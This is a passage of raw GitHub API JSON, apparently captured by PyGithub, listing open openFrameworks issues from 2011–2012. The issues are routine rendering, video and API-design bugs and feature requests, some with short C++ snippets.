ES","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2011-04-30T17:21:39Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":833772,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-26T00:37:56Z","body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i007 than <007. this can be changed in the ofStyle() constructor.\r\n\r\nalso, @elliotwoods it would be great to have a comment next to each of the constants in enum ofDrawBitmapMode explaining what they do.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/520","comments":1,"milestone":null,"number":520,"html_url":"https://github.com/openframeworks/openFrameworks/issues/520","assignee":null,"title":"ofDrawBitmapString default behavior has changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-04-01T06:37:16Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":723496,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-31T17:49:33Z","body":"it's obvious if you've used opengl directly before, but i would expect something more like:\r\n\r\n\tvoid ofSetTextureInterpolation(ofInterpolationType downscale, ofInterpolationType upscale)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/519","comments":0,"milestone":null,"number":519,"html_url":"https://github.com/openframeworks/openFrameworks/issues/519","assignee":null,"title":"ofSetMinMagFilters() is confusingly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-31T17:49:33Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":721833,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-17T00:51:48Z","body":"movieGrabberExample => videoGrabberExample\r\nmoviePlayerExample => videoPlayerExample\r\n\r\nthere are probably other examples of this, but this one strikes me as particularly odd. there's probably some historical reason... :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/510","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":510,"html_url":"https://github.com/openframeworks/openFrameworks/issues/510","assignee":null,"title":"movieGrabber/PlayerExamples are poorly named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-03-22T06:47:02Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":693126,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-21T01:01:25Z","body":"i accidentally initialized my ofFbo with setupShadow() instead of setup(), and when i said draw() it caused EXC_BAD_ACCESS. draw() calls getTexture(), so maybe the best way to handle this is to put a check inside getTexture() like this:\r\n\r\n\tif(textures.size() == 0) {\r\n\t\tofLog(OF_LOG_ERROR, \"You must call ofFbo::setup() before you can use an FBO\");\r\n\t}\r\n\treturn textures[attachmentPoint];","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/507","comments":0,"milestone":null,"number":507,"html_url":"https://github.com/openframeworks/openFrameworks/issues/507","assignee":null,"title":"ofFbo::draw() causes EXC_BAD_ACCESS when setup() isn't called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-03-21T01:01:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":689769,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-20T17:35:05Z","body":"i know the reason for this is because the mappings are OS and mouse dependent, and that it's GLUT slowing us down here, but i think we could at least add a guess like OF_MOUSE_LEFT = 0, OF_MOUSE_MIDDLE= 1, OF_MOUSE_RIGHT = 2, etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/503","comments":0,"milestone":null,"number":503,"html_url":"https://github.com/openframeworks/openFrameworks/issues/503","assignee":null,"title":"no OF_MOUSE_LEFT or OF_MOUSE_RIGHT","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-20T17:35:05Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":688955,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:48:41Z","body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":502,"html_url":"https://github.com/openframeworks/openFrameworks/issues/502","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofSetOrientation doesn't work for cairo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-03-18T09:17:36Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":684091,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-18T03:56:02Z","body":"it looks like ofGLRenderer::drawString is currently overriding whatever the current blend mode is:\n\n\tglEnable(GL_BLEND);\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\nand then setting it back later.\n\ni'm guessing this is so the empty/alpha part of the bitmap font is drawn.\n\ninstead of using glBlendFunc i would suggest glAlphaFunc... but it looks like as of OpenGL ES 2.0 glAlphaFunc doesn't exist anymore :(\n\nnot sure what to do, but it's really weird to have ofSetColor(255) work, but not ofSetColor(255, 254). e.g.:\n\n\tofBackground(128);\n\tofEnableAlphaBlending();\n\tofSetColor(255, 254);\n\tofDrawBitmapString(\"255, 254\", 10, 20);\n\tofSetColor(255, 255);\n\tofDrawBitmapString(\"255, 255\", 10, 40);\n\tofDisableAlphaBlending();","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/501","comments":0,"milestone":null,"number":501,"html_url":"https://github.com/openframeworks/openFrameworks/issues/501","assignee":null,"title":"ofDrawBitmapString / ofGLRenderer::drawString doesn't work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-03-18T03:54:34Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":683732,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-03T10:41:35Z","body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","comments":4,"milestone":null,"number":500,"html_url":"https://github.com/openframeworks/openFrameworks/issues/500","assignee":null,"title":"missing const version of getPixelsRef()","labels":[],"closed_at":null,"created_at":"2011-03-14T19:14:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":672608,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=11 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4933'), ('content-length', '40272'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b87c61471553096d60e5ff8b292ff704"'), ('date', 'Tue, 29 May 2012 19:27:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"osx movieplayer problem on reloading","html_url":"https://github.com/openframeworks/openFrameworks/issues/495","comments":0,"assignee":null,"updated_at":"2011-03-09T16:17:56Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread","number":495,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":659446,"closed_at":null,"created_at":"2011-03-09T16:17:56Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"GLUT 007 hack","html_url":"https://github.com/openframeworks/openFrameworks/issues/491","comments":0,"assignee":null,"updated_at":"2011-03-04T14:44:53Z","body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread","number":491,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":646846,"closed_at":null,"created_at":"2011-03-04T14:44:53Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"close corners on basic shapes?","html_url":"https://github.com/openframeworks/openFrameworks/issues/490","comments":0,"assignee":null,"updated_at":"2011-03-03T16:35:17Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though","number":490,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":643861,"closed_at":null,"created_at":"2011-03-03T16:35:17Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"893ec14dc008e3774afe5841115920d6","url":"https://api.github.com/users/jonbro","login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofOrientation incompatible with iOS addon","html_url":"https://github.com/openframeworks/openFrameworks/issues/486","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T04:50:03Z","body":"the existing iOS orientation methods are not compatible with the virtual functions that they inherit from. The new virtuals use a ofOrientation enum, and the old functions use ints.\r\n\r\nThis issue was introduced in https://github.com/openframeworks/openFrameworks/commit/38011d54","number":486,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/486","labels":[{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":635112,"closed_at":null,"created_at":"2011-02-28T18:14:04Z"},{"milestone":{"state":"open","description":"","title":"0073 Release","due_on":"2012-07-30T07:00:00Z","closed_issues":0,"open_issues":5,"number":6,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":62090,"created_at":"2011-12-03T15:37:49Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"grabFrame/idleFrame deprecation","html_url":"https://github.com/openframeworks/openFrameworks/issues/484","comments":12,"assignee":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T21:04:32Z","body":"it would be nice to start deprecating grabFrame() and idleFrame() (but maybe wait a couple years to actually remove them) , and change the examples to only use update() and isFrameNew().","number":484,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/484","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":613171,"closed_at":null,"created_at":"2011-02-20T17:56:02Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"ace632f74988653fdbde09225134bfdd","url":"https://api.github.com/users/nemik","login":"nemik","id":62301,"avatar_url":"https://secure.gravatar.com/avatar/ace632f74988653fdbde09225134bfdd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVideoPlayer bug when loading subsequent movies after the first one","html_url":"https://github.com/openframeworks/openFrameworks/issues/475","comments":0,"assignee":null,"updated_at":"2011-02-14T17:11:08Z","body":"Within 0062, inside libs/openFrameworks/video/ofVideoPlayer.cpp on line 314 there is a check for height and width not being 0, then \"bDoWeAlreadyHaveAGworld = true;\" is set. However, this prevents other movies after the first from being loaded into that instance of ofVideoPlayer. \r\nI have posted about this in the forum with a fix (to just remove that check) here: http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222\r\n\r\nInside the latest code, it is within ofQuickTimePlayer.cpp https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQuickTimePlayer.cpp#L281.","number":475,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/475","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":598097,"closed_at":null,"created_at":"2011-02-14T17:11:08Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"object init/load state is not consistently testable","html_url":"https://github.com/openframeworks/openFrameworks/issues/463","comments":0,"assignee":null,"updated_at":"2011-02-07T19:58:23Z","body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ...","number":463,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":581395,"closed_at":null,"created_at":"2011-02-07T19:58:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenCV cvSobel() not working with latest master branch","html_url":"https://github.com/openframeworks/openFrameworks/issues/462","comments":0,"assignee":null,"updated_at":"2011-02-07T15:58:19Z","body":"Hi,\r\n\r\nI get the following error:\r\n// INIT OF ERROR\r\nOF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\r\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\r\nterminate called after throwing an instance of 'cv::Exception'\r\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel\r\n// END OF ERROR\r\n\r\nWhen I try to call the cvSobel method like this:\r\ncvSobel( grayImage.getCvImage(), grayImage.getCvImage(), 0, 1, 3 );\r\n\r\nThis works fine in 0062.\r\n\r\nCheers\r\n- rS","number":462,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":580717,"closed_at":null,"created_at":"2011-02-07T15:58:19Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"get number of input devices and device IDs from ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/461","comments":0,"assignee":null,"updated_at":"2011-02-07T19:38:51Z","body":"Currently, the ofVideoGrabber can list devices to stdout, but does not return the number of available devices. I propose that either listDevices() return an int or a new function be added, something like getNumDevices() or a getDeviceNums() which returns a vector of valid device ids. This could be related to Arturo's Issue where the devices could be retrieved as strings. I think it makes sense to have these as static functions so that you could open all available cameras into an Array of ofVideoGrabbers by retrieving the number of devices and their ids to open them.","number":461,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/461","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":580556,"closed_at":null,"created_at":"2011-02-07T15:24:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"saveImage() and other save operations should create missing directories","html_url":"https://github.com/openframeworks/openFrameworks/issues/460","comments":8,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-08T15:56:48Z","body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you.","number":460,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":579790,"closed_at":null,"created_at":"2011-02-07T07:52:25Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTexture::allocate not checking for unnecessary reallocation","html_url":"https://github.com/openframeworks/openFrameworks/issues/454","comments":0,"assignee":null,"updated_at":"2011-02-06T04:26:44Z","body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead.","number":454,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":578069,"closed_at":null,"created_at":"2011-02-06T04:26:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't work with ofSetOrientation","html_url":"https://github.com/openframeworks/openFrameworks/issues/449","comments":0,"assignee":null,"updated_at":"2011-02-02T00:03:09Z","body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint 